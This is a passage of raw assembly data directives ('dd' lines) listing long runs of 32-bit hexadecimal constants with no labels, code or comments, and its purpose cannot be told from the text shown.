		dd 0B85B9624h, 0A4B9D235h, 7B0033BCh, 3CD4881Eh, 1731F867h
		dd 0BA1BF18Dh, 0D892859Bh, 292DAFD2h, 244C52B5h, 0DE33FF6Ah
		dd 8654995Eh, 0E75C7A82h, 1DC9163Ah, 358E60AEh,	0C500AF24h
		dd 0D0754363h, 2832BD71h, 2BD52EAh, 766A5761h, 49D58D29h
		dd 612E5BF5h, 501266Bh,	84FDE70Ah, 6012B09Ch, 9896E8BCh
		dd 0F4018029h, 0E6615EA2h, 162EF870h, 4FFCB868h, 0F9229AF3h
		dd 997DFFCh, 0FE31E26Ah, 0A43DC5F2h, 890BC1DDh,	0D70D2DB5h
		dd 8F0F9448h, 0FB2F0A6Bh, 4CBF0082h, 0A1BD2BFAh, 7989064Bh
		dd 0F875FA20h, 93A6C8h,	2F3220E4h, 0DC62A012h, 481EBB00h
		dd 24E29B3Ch, 0E4A7FFA2h, 0F2893F8h, 45905089h,	7C46B102h
		dd 0A291E97Dh, 201E795Bh, 554C5085h, 71F8B5B8h,	0AC91568Ah
		dd 0E9542732h, 2C6DBDC1h, 838A36Eh, 0CB1A759Dh,	0C4602D69h
		dd 0DA9FB523h, 51BA00C1h, 616C1907h, 0E9E6D38Bh, 0F52D4655h
		dd 0A5722E04h, 238BD560h, 0E702B1D1h, 5C61AB36h, 492444ADh
		dd 0CC3D0FBFh, 97D9BA5Dh, 3C09A933h, 880AE9C3h,	0BB017B7Dh
		dd 7557BC74h, 3092612Eh, 0D1BD1084h, 0F5258C24h, 0A78CC510h
		dd 0A740A36Dh, 97A3B9FBh, 0A902821Ah, 0B3032AD5h, 5EBDCD63h
		dd 1F01E4B8h, 80185DEAh, 886ED27Dh, 4703FD26h, 0B686683Ch
		dd 7F4F09Ah, 80AE9960h,	7F1EC877h, 5C1371C1h, 8BE30EA6h
		dd 0D8A8A84Ah, 81228D18h, 0AB0B45BAh, 5415E30Bh, 36DFF17Ch
		dd 0D284F0D7h, 2D02398Dh, 0CE80F3C9h, 4436A995h, 0EF843A5Bh
		dd 0B5611A8Ch, 19529FFBh, 0BA2BCA3Bh, 0C5FDA253h, 258C15ACh
		dd 0F1CD91CBh, 45601D64h, 0AD2FEE19h, 0B284FD13h, 0ADEBB862h
		dd 88084520h, 0BA026660h, 0E58A0DCDh, 0DC73F661h, 12ABB0B0h
		dd 0FA921DECh, 5188C2E2h, 30ED2AB1h, 41DB996Ah,	2E2679ADh
		dd 1B23A36Fh, 0A3110507h, 0BDA7D1D0h, 0FD74D2D8h, 11B35BCBh
		dd 1FE1FF13h, 0E82FD7DCh, 87B292FBh, 0ED03D784h, 0AAB48366h
		dd 4DD4E0ADh, 8A904B2Ch, 35D8368Fh, 0BDF57060h,	86223516h
		dd 6FB7958Fh, 1892EE00h, 197FACFh, 9B3FBF22h, 886074D4h
		dd 326A1F2h, 0D8BB6657h, 4B5C5BEAh, 0E2DEEC26h,	0CA7A0B51h
		dd 0E80501A6h
		dd 0E995A431h, 75B1D5D2h, 0EAF23F66h, 0E7490277h, 0B8785C26h
		dd 0B0035643h, 4689D92h, 0EC6290A1h, 51910911h,	8D8940B6h
		dd 65B50715h, 43CDAD24h, 0AD0AFF43h, 0BB0408ACh, 0A2907965h
		dd 0F0007E20h, 92C12E0Bh, 3B8E9AA1h, 0CE0A1CC5h, 1D59E25h
		dd 5B5FFB8Bh, 4C122E50h, 0E281EBCh, 68F50049h, 1994D50Ch
		dd 29E7850Fh, 0E297C052h, 0A083C8h, 0CBB5E5ADh,	0DF8562EBh
		dd 3F9F0B2Eh, 5F940E04h, 0F3057AA8h, 4198BD6h, 0AA1AB18Fh
		dd 5CFCBE72h, 86516930h, 0D629C400h, 90D0F47h, 15850957h
		dd 0E9BEFBACh, 5E01AB27h, 2C01F448h, 0A549F931h, 172BB781h
		dd 0C0A4DEFEh, 4D2F93ECh, 37643365h, 0B984FDECh, 48B6D01Bh
		dd 0DCFD4BA9h, 0AAF88AC5h, 0E2977A2Ah, 8783058Ah, 8316E0FBh
		dd 645527BFh, 0B8E0B906h, 3DA40902h, 0B483AA75h, 58124D35h
		dd 2DAB1D09h, 0A83C2981h, 0CFE2029Ch, 40177FC4h, 74019C79h
		dd 6AAD0FE7h, 12238BD4h, 0E8602510h, 0F0E28049h, 0BCD393h
		dd 40CF3EA7h, 0AFE8C2E3h, 19EFF902h, 892C6250h,	10AA84DEh
		dd 75705B09h, 1CE7964Bh, 0E0680616h, 215A619Ah,	4AEDA8A0h
		dd 0B570AC22h, 0A7A8BFBDh, 607D6E00h, 8E80F33Ch, 57F89DD3h
		dd 74681640h, 0DB3F258Fh, 2170ECE0h, 0F54ADF74h, 9EFAF2D4h
		dd 68029C5Ch, 0F5B84A2Ah, 0FC567462h, 4C50DE63h, 0CB564C16h
		dd 6560611Ch, 1C008959h, 0F4D7CD56h, 0B5B10931h, 7855DE7Fh
		dd 13F298B6h, 1F616288h, 43219A75h, 1C1867D7h, 0AD672588h
		dd 7BEA3892h, 66007CC5h, 204A22DFh, 465ED18h, 0CDBD01C4h
		dd 23E9052Bh, 2834304h,	0AAD98B45h, 0BAA4663Bh,	4C82F49Ah
		dd 0A043DF28h, 0AAD8259Fh, 0CA1E871h, 1C538E2Ah, 7D25041Fh
		dd 67C068CDh, 47E6F5Fh,	9D0BC83Fh, 0B3FB506Dh, 4E5B49EBh
		dd 890066BCh, 7241217Dh, 29F4AFADh, 0BEF8E0Fh, 49E5E0B7h
		dd 0E13BD051h, 18FC7054h, 0AD5D45B5h, 8201D5B5h, 0E691DC40h
		dd 295B322Bh, 2B2B9B41h, 6A6AEE2Dh, 31DC070Ch, 94C85D95h
		dd 962C2EBDh, 0CF3305D5h, 1B2F250h, 3D08260Ch, 965B9671h
		dd 0E02A4CBh, 7541EADh,	10C550E4h, 975B14F4h, 1A910535h
		dd 0F915C980h, 0DC2F6535h, 0CD341084h, 17970745h, 0EFC0E028h
		dd 5513480h, 8915F59Bh,	85B9BAE2h, 75AA5B50h, 0A896E965h
		dd 3F3CF0E9h, 1304D99Eh, 0B8C97E71h, 17DE4B25h,	0F19121C0h
		dd 0C0B497Eh, 2FC3199h,	5C1C9D1Bh, 8B5FE929h, 89787E6Bh
		dd 4B3704C2h, 1F55A487h, 6AB79821h, 0F545092Eh,	53934071h
		dd 54E5241Dh, 1B46D64Eh, 0A16D1F00h, 0B54DFF63h, 0D8C6A34Ah
		dd 0B50F9D4Ch, 1660EC06h, 0F612CB60h, 9361FB0Ch, 6BB7092Bh
		dd 0BF092873h, 5909FDDFh, 8D819250h, 0FBD66EE5h, 0DD5B9D3Ah
		dd 0FD41F5DAh, 6CB26B7Ah, 8016CB1Ch, 0A6F98412h, 64070941h
		dd 0F04AD2DBh, 5456CBE8h, 0CE31612h, 0B0B12E88h, 960103C1h
		dd 1454CA50h, 0E54701DCh, 0A55F7D87h, 0DAF760C7h, 50836595h
		dd 0D8B52956h, 0F30D25A8h, 2B0803C6h, 721DFDBDh, 0C54067EDh
		dd 3F845CAFh, 0D189E793h, 0CB5C2987h, 0BAB06440h, 0A08E5E3Ah
		dd 2A991975h, 600D6AA5h, 9507C96Fh, 706BE99Ch, 0DE0DF648h
		dd 0BC311900h, 0CEB7629Dh, 0B3B21230h, 0FC60FFA8h, 800C0DB5h
		dd 3D649D23h, 0B5BDC68Bh, 330030E8h, 9D318089h,	9DE224FDh
		dd 54497318h, 2E0190F6h, 0C1FFC738h, 8F2A0EF1h,	149A4E9Eh
		dd 3CB69080h, 910B0249h, 3535C6Ch, 5E25BD5Dh, 2397E05Fh
		dd 85891E13h, 7F720FBh,	24E3FFF4h, 0C14B8BEFh, 0C7B829F9h
		dd 0A7C0D100h, 0ECD4F8E2h, 0C97EC523h, 5528AA1Bh, 472F25BBh
		dd 5400DC66h, 29AE22DBh, 108D68h, 0C19596EFh, 0F5B6EB2Fh
		dd 1952460Bh, 27D9581Dh, 5AFC90DEh, 0F72F6E6Ah,	3FBE120Dh
		dd 97F616Eh, 8F1C905Bh,	0ABC072FEh, 75848Eh, 425FE4EBh
		dd 741473BEh, 89018D78h, 31A3D53h, 0A3FF79BBh, 4CEC0B43h
		dd 0ECDE71Bh, 0DF90CEE2h, 0F5524818h, 5C3B42B5h, 5805DEA9h
		dd 880FBD80h, 0CD7233BEh, 1C4468F6h, 809C9960h,	0EEDBE049h
		dd 2F00BADFh, 0F4A8D9CAh, 4A603980h, 92E2FDD8h,	0F23F73A1h
		dd 6BBF5F83h, 6B7B25C5h, 0EBE8CF8h, 0AD12D97Ch,	6BFFD34Dh
		dd 9864715h, 7FE04E34h,	3AD1F631h, 80E54DA6h, 0D758DE1h
		dd 1C636795h, 0AA4A38A7h, 6380E7DBh, 7FB21A42h,	0BD0B3500h
		dd 55850954h, 2E24018h,	0BF37BDh, 84F197DFh, 0FF2FBE16h
		dd 4885587Eh, 89210790h, 457927h, 25F34F05h, 43008CE1h
		dd 9A44966Ch, 9ECBD93h,	0CB15D35Ah, 6148F750h, 0DBB313A2h
		dd 23816BBAh, 0B7F30915h, 0D6EF5B80h, 12B089A2h, 0A0E901E1h
		dd 5691382Eh, 5397BC90h, 30277973h, 51B1B55Ah, 5401A58Bh
		dd 0DB59E92Ah, 0C8D57C00h, 138483CCh, 51319D2Bh, 0EC5EA4B6h
		dd 6511A015h, 8830030h,	0E0CCB770h, 77003C44h, 88A07890h
		dd 49501536h, 4956A8EEh, 9A81AFF2h, 3A125BC7h, 0C0EA9F25h
		dd 1110EFF2h, 13042DE0h, 2CA3EA8h, 88109BAAh, 3282C018h
		dd 0AF4B39C9h, 12297498h, 0E2184D85h, 0ACDCD551h, 0B98D2833h
		dd 2B0920D1h, 3D85310Ch, 0C1FF551Bh, 42CEBEF8h,	0DD727053h
		dd 290BD4BAh, 0FE1735BDh, 163651B9h, 0B0084023h, 8010D197h
		dd 21F7FCEAh, 1C013C3Bh, 0C95FB17Bh, 2EF4C6ECh,	0E6841772h
		dd 0E4300570h, 12F271h,	296F6046h, 0F77169Fh, 0D6F381BAh
		dd 0B91B9364h, 9F72134h, 0F60399Dh, 0FA7FB2BFh,	3D80564Bh
		dd 2FE6F4BBh, 0BFFB794Eh, 0C46E88Bh, 4BDD3ED8h,	843E8C2Bh
		dd 0C1B70D4Ah, 0FFEA5100h, 66C989CAh, 3B854A4Bh, 0CFC1AEE8h
		dd 0ECBC208Eh, 0AC18B3AFh, 815EC82Bh, 0D1B3832Dh, 9AE9D8C0h
		dd 0F000B89Fh, 0E7F52C31h, 498507D0h, 6044024Eh, 802511A0h
		dd 22ABCC0h, 614B2A89h,	0B8603980h, 3914076Bh, 46850344h
		dd 4EBF211Ah, 2CD716E9h, 2D22A908h, 47AC548Bh, 0B100E19h
		dd 0F51F3195h, 7588EFC6h, 4701EBAEh, 2685D34Ah,	9C6A5957h
		dd 0A460916h, 381A61C4h, 1904EFBFh, 7B512C7Fh, 0D3C47CF2h
		dd 60B30594h, 13C237DCh, 0A65595h, 0F1BA0186h, 3D4B4AD1h
		dd 2394CDABh, 19915A2Ah, 0CF2E6751h, 3C4B73F7h,	0DEAA5994h
		dd 0AA879E8Fh, 0CE22B09Dh, 1467DDEh, 1064B912h,	0CDE8A5A9h
		dd 0C0F8A825h, 9F8E0F82h, 18814691h, 841F5h, 31FCDBB5h
		dd 82B59525h, 7CC02BD9h, 0B502DC92h, 6F028764h,	0BD7840FBh
		dd 6923655Dh, 1242E381h, 76E169EFh, 4B7D7A7Fh, 0F82290AAh
		dd 0FABED2E5h, 22EE1B28h, 9F9C3697h, 76CBE56Dh,	12D445FEh
		dd 100F4A2h, 4FCE954Ch,	0EB40B7E6h, 0F91B5B45h,	0B31CBC69h
		dd 7A2F010Ch, 0E0BCF338h, 8A5AF105h, 9519CCA0h,	68A43E53h
		dd 7AD5DA02h, 4F175727h, 50B65BAFh, 74122749h, 0F5AF5936h
		dd 8E202EA8h, 7E51BF3h,	674B2013h, 825AF4BFh, 3DD0D907h
		dd 2BD6CF9Fh, 287C58A8h, 541EEF05h, 8CAAE9A8h, 7B9388BBh
		dd 0CE1C253Fh, 16BB008Dh, 81601ED2h, 0D105EDCBh, 0E1FF72C1h
		dd 0B74CA6FBh, 4AE6BBA0h, 82625E8Ch, 82F5FBF8h,	5721AD1Fh
		dd 1145131Ch, 0E199CD60h, 88B6A33Ah, 8D298219h,	855C2AB1h
		dd 2D0DD071h, 8A83Eh, 5E7F353Bh, 0DED69E83h, 18E8605Eh
		dd 0F9BE2920h, 0C24A1810h, 0F3412B82h, 47C10426h, 242E0771h
		dd 183A262h, 0FBF9E3CDh, 1FC8B562h, 99DFE98h, 0FD9CE5BAh
		dd 4F455572h, 0C1550CA6h, 3F0D5FEBh, 0E6B487E6h, 5FB41D68h
		dd 32A65800h, 976ED365h
		dd 1D915535h, 34A6B280h, 1704A48Ch, 0CCEB5D0Fh,	0A8597782h
		dd 8321CBCCh, 0B5E425h,	0EE494035h, 50E745DDh, 0A3B45B4Ah
		dd 4E039CDFh, 0AF5C6ACBh, 0A39112DEh, 0E90B00C4h, 0F91047A1h
		dd 0B200C8A6h, 0D51D58EFh, 2CECAFh, 381060C1h, 6892F649h
		dd 8B17983Ah, 0D78B0FD7h, 0EB007D94h, 292BF56Dh, 439CA3h
		dd 0E2EDAF7Ch, 0B7B45EB6h, 0F080E04Ah, 0E328EC67h, 8BF04726h
		dd 0A701B5E9h, 48E21701h, 0DEED8170h, 0BF522ED8h, 0DD35A7BAh
		dd 5B156380h, 5E4DF05Ch, 4A4FA810h, 466D3CCh, 0E98E14BFh
		dd 0B74C88A4h, 0A48CDE4Bh, 9C5B4B53h, 1942F97Eh, 0B84F9D94h
		dd 4CF24FBEh, 8029DA96h, 2A8B1D5Eh, 47F8170Bh, 2460BEF1h
		dd 3AC51A07h, 29809FA0h, 85F945A7h, 0B65C01E4h,	73B80394h
		dd 0FC46A19Ah, 41720C2h, 9D62AB61h, 0B7B11384h,	97E615D9h
		dd 0B35086E0h, 55174C5Eh, 1E80129Bh, 896D37BEh,	0C52D0A13h
		dd 4F21F88h, 0D524ABDCh, 0AC61B9A0h, 94048C14h,	2B21B589h
		dd 777798BAh, 452C7000h, 868FE50h, 0DF92003Fh, 0B98E06BEh
		dd 15F655A7h, 56324F13h, 3BEA0AA0h, 9BCF2D4Ch, 5A9F8797h
		dd 399757E1h, 6F1206Fh,	33E382Ah, 0CD9525E3h, 6115649Bh
		dd 203ACBACh, 0B51A5747h, 0AE810A01h, 295F67B3h, 50872F78h
		dd 5EF01B60h, 4044D997h, 0F091B961h, 293DCA2Dh,	0D87C8865h
		dd 0C287EE25h, 10318D20h, 0EB224FD5h, 0D40106CCh, 43BFE176h
		dd 6F2097B1h, 0CE1B4AC5h, 4E3B38C8h, 0C680AD9Eh, 0AB06D55Ah
		dd 0CAB5B62Ch, 0E9865227h, 0E6157692h, 0FDB15BC6h, 951E6DF4h
		dd 7E745F67h, 0F19D2F53h, 6D6BC0DEh, 567A40A9h,	8202E103h
		dd 0DA105207h, 0A6EE7FAEh, 6B822D7Eh, 0CC29C380h, 0FEE3D8B8h
		dd 0EAFC7F29h, 41DF066h, 0B33C7EBFh, 14DCBE62h,	20314135h
		dd 0AC4B30EEh, 0BA50708Ch, 51ED17D9h, 0AA2AFC5Bh, 0E7C23002h
		dd 715C31FDh, 51AEDBEBh, 3EBCFC42h, 0F406E922h,	0FC4372B0h
		dd 0B27295E1h, 0ADB9BF12h, 8E42C91Dh, 0DD67DB94h, 0CFB74F01h
		dd 66E2B96h, 0F9DA0D04h, 95A881ACh, 8A0F011Dh, 5624883Dh
		dd 10C1086Dh, 81BA5F15h, 695F381h, 322E22DDh, 0B0B1F885h
		dd 0FA0E7A51h, 715F29C2h, 0BB09BE53h, 3271E6B0h, 297EE4A0h
		dd 0C4E9AE96h, 4E7D004Ch, 2583BB8Fh, 384AAAF1h,	4E503FB4h
		dd 806DDB20h, 7635C04Fh, 0FD940420h, 82034650h,	0BAFF2B8Eh
		dd 0DC625CBBh, 0BB670EFh, 36E6089h, 418529C0h, 0FC9BD2F4h
		dd 5D24475Ch, 0F0BB01FCh, 42BD41D2h, 0FE33E4h, 0B414336Dh
		dd 29310EA5h, 24E8259Dh, 0E25525E3h, 124F5F91h,	362C6B40h
		dd 7BFF25E1h, 1F00E744h, 2999945Ch, 130D4991h, 0A68E97B6h
		dd 3215B266h, 53B3D602h, 98ABEC5Fh, 9602E166h, 0BB018976h
		dd 406482DAh, 727B7BE6h, 0B665E6FFh, 9F234015h,	0BD030E60h
		dd 667F4DF9h, 0C19CF950h, 475EDFA5h, 168B24F6h,	0ADC12DA0h
		dd 0D3DD2A22h, 2EF29B41h, 4DBF282Eh, 8065BD97h,	6A70A5FEh
		dd 35585E59h, 459D08F0h, 25032431h, 965B0690h, 94810F2Dh
		dd 0C33E0F9Fh, 0BDC2417h, 95DB93Dh, 71D478B1h, 0C4FEADDAh
		dd 503C601Dh, 0D019016Fh, 4452B355h, 12786CA6h,	0E6E35CB6h
		dd 0C129AC5Bh, 119BD33h, 16808B2Eh, 0A7A80C4Dh,	0D39ABBB4h
		dd 0C9BED882h, 0D598C0DDh, 0DB1C9723h, 3D9F6070h, 1DF10416h
		dd 0F135EAB4h, 43E74B30h, 3B9700D9h, 0E06A111Ah, 0D825EF32h
		dd 95EBC6CCh, 0FE558B42h, 0B527DC64h, 56B6E243h, 8F4D7ACBh
		dd 56B0A264h, 0A9E9802Dh, 5F866295h, 0D7E04C13h, 4F0E2183h
		dd 1557875Fh, 0DD72250Eh, 66D15568h, 8D5AC27Dh,	0C25BED92h
		dd 92C23Ah, 42B8D13Ah, 8EF651h,	45BC39A4h, 0A2361FA0h
		dd 21C78A02h, 419D10EBh, 5FF6085Ah, 0E85FE5ECh,	6F1A1520h
		dd 5BF90083h, 0DA8B0320h, 0BFF8905Fh, 6967130Fh, 430EB356h
		dd 19FF04EEh, 0DA68C1BEh, 2DF67F6Ah, 0BBF7C6F0h, 4C53EB4Fh
		dd 8CEB2BC4h, 802F6096h, 807FEE8h, 61001B51h, 659D335Fh
		dd 468B109h, 0BCE72AF2h, 920FC0BEh, 295DF8Fh, 0A0D26940h
		dd 0A1553522h, 0FA18587h, 7C00C567h, 0C7BE2E7Eh, 0DC04E1D5h
		dd 870F5060h, 4A43F2ABh, 5B48D6ADh, 5A4AAE0Ch, 240B04E4h
		dd 6A599D0Bh, 4E4D779Dh, 6A07A2E1h, 0ADBC2A2Dh,	5065702h
		dd 5EFF808Ah, 88FC259Bh, 984007C4h, 0C366151h, 0E6B1C24h
		dd 0FFD7B709h, 30A7DBB5h, 97A1E5h, 37C740D3h, 0D8B560CCh
		dd 4920B698h, 8D891823h, 0D1FF8F59h, 701AD3B5h,	9E7EAF57h
		dd 0D938D309h, 64C371A3h, 0F17E588Ah, 26A8010h,	5045939Ch
		dd 2064F4FFh, 0E8F43002h, 550B2F61h, 9016B27Ch,	0D2BFBD40h
		dd 0F34A0D22h, 0C0739B6Bh, 142E741Fh, 52B827C1h, 0B363AE54h
		dd 45CC0451h, 0B9574494h, 0D5A6D3A3h, 66F0FEA5h, 154F05B7h
		dd 814B546Fh, 132690Eh,	382E06E9h, 2A41FCA6h, 2801B663h
		dd 3C99616Ah, 0CBA681FAh, 5F53E941h, 0F7B86569h, 0E4FEB41Ch
		dd 73E80601h, 0B963301Eh, 80C6F200h, 0C9CCCEDBh, 0C28C434Bh
		dd 0F551B790h, 77F9548Bh, 299003B9h, 1D5B898h, 51331836h
		dd 0DEE4548Ah, 0FD6B915Ch, 0B1848137h, 4BE9065h, 0B94E82ECh
		dd 0A3EC9294h, 0BB9F009Fh, 4BCA51F3h, 0FC85C100h, 0F547EC78h
		dd 0B3A1129Dh, 89F6EB7Eh, 1F7B6A5h, 6B18FE80h, 0F821C2EBh
		dd 4C6A9CE8h, 60C099FFh, 0BAD6D2CFh, 2A0B53EAh,	858C9503h
		dd 3F910530h, 622E2FB7h, 712B31A6h, 0B455254Ch,	50B070CBh
		dd 3215E8h, 187B9AEh, 14398CF7h, 7E30CA02h, 7F29E17Ah
		dd 5B4BB044h, 89107CFDh, 76F88915h, 665F2597h, 0A6E9707Ch
		dd 73260048h, 29B5339Ch, 0A1D4B45h, 6FC9A1C7h, 48B770F4h
		dd 132FB809h, 8BC95254h, 0FB0D04B3h, 8905B0B8h,	0FF1E79B5h
		dd 2010C332h, 0AD07E373h, 1CFA3200h, 3519BAD9h,	5E280085h
		dd 0C82BC9F6h, 1175B529h, 0DFAA1097h, 429145E9h, 6CE2707Ah
		dd 0D6E28B7Fh, 4D3A6091h, 7C015442h, 0B7A4EFCEh, 1A2E5FB1h
		dd 27D796A1h, 0D97B60B0h, 61F80B73h, 95847656h,	962073Dh
		dd 0E96A99D7h, 0F525B629h, 9D118BCCh, 37C82C19h, 502DEF4Fh
		dd 4DD7A62h, 4153915Ch,	202B6A7Eh, 0A756E661h, 0AD22A800h
		dd 0CE30A9Fh, 0A392009Bh, 4B4D8DFFh, 0CF4B0412h, 4137A198h
		dd 0F0F666A5h, 4C601284h, 0D2F2A0Bh, 0E0F26F2Eh, 6A4B6126h
		dd 0B94B366Fh, 57DDCDAh, 6CBACEBBh, 26A99304h, 26212DAEh
		dd 0F8BAB49Fh, 0AAC1A40Ah, 0B9000B61h, 0DB951163h, 0E5D2D0ACh
		dd 10B7640Bh, 256B7189h, 0F7CBD362h, 0E556E6A5h, 0D96A04FAh
		dd 467AB2Ch, 6EE57B9h, 1D4159Ch, 720987F1h, 30DDC4E5h
		dd 8C627CB9h, 5C0D215Ch, 1B76FAB1h, 0DBCB5AD4h,	489B80D6h
		dd 972EB733h, 5DFBC029h, 1232CA78h, 0E78BF401h,	1CA65ADAh
		dd 0F6BECFA0h, 0D3786902h, 61562233h, 342EFE7Dh, 8CFBFD7h
		dd 9A1749A0h, 0F615A410h, 4B04C13h, 0B9311928h,	7B7E1C2h
		dd 0A4F7B66Ah, 0D710C977h, 26E0BB1Ah, 17C28410h, 6096A49Dh
		dd 0F2A22AEFh, 2D25B05Ah, 2CEC5F82h, 0B7BE4695h, 1ED094FBh
		dd 12D701EBh, 55858938h, 4220F2Ch, 4BCD50BDh, 22C28E2Dh
		dd 25F6980Ch, 0C0C5C3A5h, 2261C511h, 2A60F589h,	0C480169Bh
		dd 688288ACh, 31169C05h, 44BA35BDh, 0B8D88BEBh,	0B0DB5ABFh
		dd 8982BE92h, 25D35CF9h, 6925A5FCh, 0AA2E54C2h,	0E903B07Ah
		dd 2EE4CC7Bh, 9529F8F8h, 0FE054527h, 29CDE21h, 0AB0421C5h
		dd 0DBB951A3h, 0E28C15ACh
		dd 3FCFFABEh, 1018787Bh, 0C265C90h, 516F895h, 176949BBh
		dd 0FD3DFF09h, 0E080AA38h, 96A63430h, 0E7E1CE00h, 63952812h
		dd 42CD953h, 32E86C90h,	0C9CF06F3h, 0F23FF98Ch,	1AD69406h
		dd 718783FBh, 0C6FE2749h, 362F9640h, 0DD030CB2h, 2B369A08h
		dd 5DF68A06h, 0EE9C5FCCh, 0FF78D3DEh, 4B84AD65h, 9860C188h
		dd 5F8D6E48h, 28B85900h, 73179767h, 52FD5861h, 917B6B8h
		dd 0CC0572D3h, 98BE1639h, 4500E539h, 0FDDA093Fh, 94259C6h
		dd 7C082FE8h, 54E6CA55h, 0AE296513h, 0DCBF8BC4h, 8449E938h
		dd 2B71252h, 0AD2AC7E1h, 986E87Ah, 83258570h, 0DD01A271h
		dd 39F0C809h, 1171EF8h,	9E5D6819h, 2EE25488h, 0FD9F971h
		dd 0CB81070Ah, 6544E9A6h, 776A3B29h, 0BEF7F307h, 0CB32E0EEh
		dd 5598F91Eh, 0C655A96Eh, 39025006h, 9A4E5F5Bh,	0C01DC895h
		dd 3671BBD5h, 13751C03h, 13F79AF0h, 0D8075972h,	0D3B586F1h
		dd 0E0FE27ADh, 41950182h, 5274C81Ah, 1BB32F60h,	0F9AF3171h
		dd 0FD8A0932h, 6882DD71h, 60F423A9h, 0A40289BBh, 80FB4BB5h
		dd 0EB2056ADh, 0D9167EFFh, 711D7EEEh, 0C90171F6h, 3280A7FEh
		dd 63014CFh, 5058243Ah,	2404899Ah, 1910CE76h, 0B1FCC53h
		dd 562C4F1Fh, 3F55C4E0h, 9F00C019h, 0E6318367h,	0F57D7190h
		dd 5B0D0B6Fh, 46D60256h, 28AA4A1Dh, 4D94616Ch, 37CD0BDCh
		dd 0BE409AB2h, 1E970E34h, 5BB5BFC6h, 0CF96D900h, 4ABF9AA8h
		dd 25D6CA02h, 0F6B87E30h, 0B6FC2F5Ah, 37B61020h, 31BEE917h
		dd 2E328DEEh, 0B8A5B53Bh, 0EFFA0336h, 1018E0Fh,	84BFF9C9h
		dd 2E03483Eh, 889D8528h, 0B0A5F98Bh, 91F8E98h, 302D2F8Dh
		dd 0BD126C94h, 0F3AC3115h, 0A045A6B4h, 4AB3FC3Bh, 0BFEBCC5Fh
		dd 286E7209h, 0B180711Ch, 40ECD78h, 75F5C0FBh, 0F19D5067h
		dd 0AEC4127Ah, 0F6257CB7h, 0A380D479h, 0EA68C0ECh, 3AF92670h
		dd 0F5B300B5h, 5F617D91h, 0E78158C1h, 712FE80Eh, 3F107901h
		dd 0EFD688F2h, 0E24FD86Ah, 5B7B42CCh, 0F8CE7CBCh, 0F0D86E6h
		dd 76296027h, 0F3A24C58h, 619FE512h, 115F79E3h,	8009D838h
		dd 7E7079E3h, 605EEF9Fh, 80D6B885h, 0C18D3108h,	7CBB000Ah
		dd 0F508F846h, 23B16E95h, 0F3A72AADh, 0CD6051E1h, 69143FE3h
		dd 38132D48h, 0C0AF23h,	0C3EC74D5h, 0AC6A75FDh,	93097602h
		dd 5CDD8A5Ah, 82B72FD7h, 2E2B320Fh, 71D2E058h, 9509C48Fh
		dd 0FCA79EFEh, 4703555Fh, 0F2395C32h, 0E0624087h, 0CE1A972Ah
		dd 674B107Fh, 97581C19h, 0A4D882B0h, 0F282BFD3h, 13F50841h
		dd 851222D2h, 145F59A2h, 41BA0315h, 81EFBD5h, 0E7AF7216h
		dd 0A8C041ECh, 1C42C56Ch, 7730C15Eh, 0BEA1BD01h, 0BF5007EBh
		dd 2526E289h, 9D03BDC8h, 7BFD7151h, 0DC4521A6h,	3D8B1822h
		dd 7E52A1FEh, 0B8FCDCC5h, 0ABEEEF01h, 0C7AE781Eh, 978D0534h
		dd 38455A14h, 18E9BA89h, 0AA601DA5h, 0B7B8A030h, 0D6F0EACh
		dd 16C45061h, 0E007A696h, 25098859h, 0EF5B40CDh, 31181759h
		dd 775B2613h, 4A4B6BFFh, 0AB295861h, 7FC5B53Eh,	14C8F4DBh
		dd 96F56C9h, 6B71C51Fh,	0F42FC5ACh, 1EEDE2D9h, 4C71545Ch
		dd 0C118DE6Ah, 8F98B052h, 0C8D8DA7Fh, 5B65C016h, 0AEB7C60Ch
		dd 540D2BBDh, 210179AAh, 0E902CE79h, 0DB805525h, 3F22CF81h
		dd 8B2D4B0Bh, 0CE4FEDC1h, 13793AE0h, 0AD3B3FBBh, 0C8CCB85h
		dd 20619060h, 54A30BA9h, 7C18AB8Fh, 7213997Fh, 30006ED5h
		dd 0E2C11ED2h, 21B7255Bh, 4D4B6AF5h, 0F893E058h, 0DB16D0BFh
		dd 0CBD0F5BEh, 0B606860Fh, 849D6D1Ah, 0E73A04B6h, 0FF61F804h
		dd 1AE7688h, 21063BA3h,	0F8B76BF4h, 7401E0DCh, 1B9B4389h
		dd 85D850CDh, 4A2EBAA9h, 5EB9B15Fh, 4631827Dh, 71F957h
		dd 8029B6C7h, 8500C824h, 92F5BA0Dh, 0B53D2A4Dh,	0A65A558Bh
		dd 3F8FBF15h, 0F092569Bh, 0BD870F3Eh, 0D896ABF9h, 24AB4C84h
		dd 1D5C8192h, 6D5DDA95h, 21EFE012h, 0A0258B83h,	92DC6E5h
		dd 69BD0B50h, 0AB5F6624h, 4580D92Ah, 0D98BF968h, 72D1FF24h
		dd 2D2909DEh, 0F714FA2h, 31EB8D45h, 2E026A63h, 0FA0ED86Eh
		dd 0E2B25055h, 2ADB012Bh, 1B72AF3Bh, 2E2CEA2Bh,	7DF4AA5Bh
		dd 0EF56F990h, 3B0070FAh, 4751861Dh, 0A4FDC0h, 164D46A6h
		dd 230C6AD5h, 441BD2Dh,	13B95B51h, 0C9ACE6D1h, 7D7AE200h
		dd 0EF80AE14h, 9D2327DEh, 0E92D7FF2h, 7308FE37h, 0E2B794DCh
		dd 5B74C41h, 917793D4h,	4055A900h, 2F1B3A29h, 10ED0982h
		dd 410CD8C2h, 85140269h, 144C1F7h, 32A22AE0h, 0D01D96A8h
		dd 8A09DA68h, 7C0D173h,	3060CE67h, 5FA5E7BAh, 8CFE1D4Bh
		dd 6A3EBBACh, 0BF9001CAh, 0AA0FCA6h, 0BD560120h, 0DB8FB463h
		dd 80BF7079h, 0F354577Bh, 7187898h, 96095395h, 8C60347Fh
		dd 40002A02h, 0EE3478F4h, 0E6AA4322h, 2C1F2A7h,	0EFCCD418h
		dd 81804852h, 59960FF0h, 0F2853125h, 89614BA3h,	12DE6B59h
		dd 4AA3EF80h, 0C900BF27h, 3DBB190Ch, 5B25BA33h,	0C30B09F5h
		dd 12A99DF0h, 72CA6A61h, 0A087B64Eh, 2746289Dh,	2FE3F6Fh
		dd 1909DCFh, 9B920592h,	0CD27C2AFh, 5DB9FA50h, 20E1E30Fh
		dd 6853BEA2h, 2A181607h, 0C81FADF5h, 12A54A23h,	90FDAC21h
		dd 0F1DA1C24h, 9313DE40h, 5BCBD884h, 3D7BFD8Ch,	1360DBB5h
		dd 95558F7h, 32C604EBh,	8098D15Fh, 67AB1D3Eh, 9B571E4h
